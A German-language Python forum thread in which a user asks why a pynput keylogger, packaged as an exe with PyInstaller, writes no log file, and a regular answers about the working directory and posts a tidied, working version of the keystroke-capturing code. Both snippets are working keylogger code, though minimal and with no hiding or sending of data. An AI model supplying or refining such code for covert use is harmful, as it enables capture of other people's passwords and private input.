Hallo an alle,
im Moment arbeite ich an einem Key Logger und bis auf folgendes Problem gestoßen. Ich habe in PyCharm den Code geschrieben und das Programm in eine Exe umgewandelt. Jedoch erstellt das Programm keine txt datei mehr, wo er die Tastenanschläge reinschreiben soll.
from pynput.keyboard import Key, Listener
import logging
file_log = "log.txt"
logging.basicConfig(filename=(file_log), level=logging.DEBUG, format='%(message)s')
def on_press(key):
x = logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
In Pycharm klappt es aber sonst erstellt er diese Text Datei nicht.
Keylogger
- __blackjack__
- User
- Beiträge: 13927
- Registriert: Samstag 2. Juni 2018, 10:21
- Wohnort: 127.0.0.1
- Kontaktdaten:
@Zayju: Was ist denn das aktuelle Arbeitsverzeichnis wenn Du die Exe startest? Denn *dort* wird die Datei gespeichert.
Warum sind da unnötige Klammern um den Wert vom `filename`-Argument von `logging.basicConfig()`?
Was soll die Zuweisung des Rückgabewertes von `logging.info()` an einen Namen der dann nicht verwendet wird? Warum ist dieser Name `x`?
Wenn eine Funktion einfach nur eine andere Funktion mit genau den gleichen Argumenten aufruft die sie selbst bekommen hat, sollte man darüber nachdenken warum man da eine Funktion zwischenschaltet die im Grunde nichts sinnvolles tut.
Warum sind da unnötige Klammern um den Wert vom `filename`-Argument von `logging.basicConfig()`?
Was soll die Zuweisung des Rückgabewertes von `logging.info()` an einen Namen der dann nicht verwendet wird? Warum ist dieser Name `x`?
Wenn eine Funktion einfach nur eine andere Funktion mit genau den gleichen Argumenten aufruft die sie selbst bekommen hat, sollte man darüber nachdenken warum man da eine Funktion zwischenschaltet die im Grunde nichts sinnvolles tut.
“Java is a DSL to transform big Xml documents into long exception stack traces.”
— Scott Bellware
— Scott Bellware
- __blackjack__
- User
- Beiträge: 13927
- Registriert: Samstag 2. Juni 2018, 10:21
- Wohnort: 127.0.0.1
- Kontaktdaten:
@Zayju: Nachtrag: Auf Modulebene sollte nur Code stehen der Konstanten, Funktionen, und Klassen definiert. Das Hauptprogramm steht üblicherweise in einer Funktion die `main()` heisst.
`file_log` ist ein komischer Name. Das sollte wohl eher `log_filename` heissen. Und da es eine Konstante ist, komplett gross geschrieben werden.
Ungetestet:
Logging finde ich ein bisschen komisch für diese Aufgabe, denn das ist ja eigentlich nur das schreiben der Tasten in eine (möglicherweise vorhandene) Textdatei, ohne das man wirklich etwas vom `logging`-Modul verwendet was das über ein normales schreiben in eine Textdatei so bietet.
`file_log` ist ein komischer Name. Das sollte wohl eher `log_filename` heissen. Und da es eine Konstante ist, komplett gross geschrieben werden.
Ungetestet:
Code: Alles auswählen
#!/usr/bin/env python3
import logging
from pynput.keyboard import Key, Listener
LOG_FILENAME = "log.txt"
logging.basicConfig(
filename=LOG_FILENAME, level=logging.DEBUG, format="%(message)s"
)
def main():
with Listener(on_press=logging.info) as listener:
listener.join()
if __name__ == "__main__":
main()
“Java is a DSL to transform big Xml documents into long exception stack traces.”
— Scott Bellware
— Scott Bellware
__blackjack__ hat geschrieben: ↑Donnerstag 7. Mai 2020, 23:24 Wenn ich mir mit pyinstaller eine exe erstelle, wird ein Verzeichnis dist angelegt, wo diese Datei dann abgespeichert wird. Doch selbst wenn ich die Exe ausführe wird dort nichts gespeichert
- __blackjack__
- User
- Beiträge: 13927
- Registriert: Samstag 2. Juni 2018, 10:21
- Wohnort: 127.0.0.1
- Kontaktdaten:
@Zayju: Wie führst Du die Exe denn aus? Öffnest Du ein Konsolenfenster, wechselst mit ``cd`` in das Verzeichnis, und führst sie dann durch Eingabe des Exe-Namens + Eingabetaste aus?
“Java is a DSL to transform big Xml documents into long exception stack traces.”
— Scott Bellware
— Scott Bellware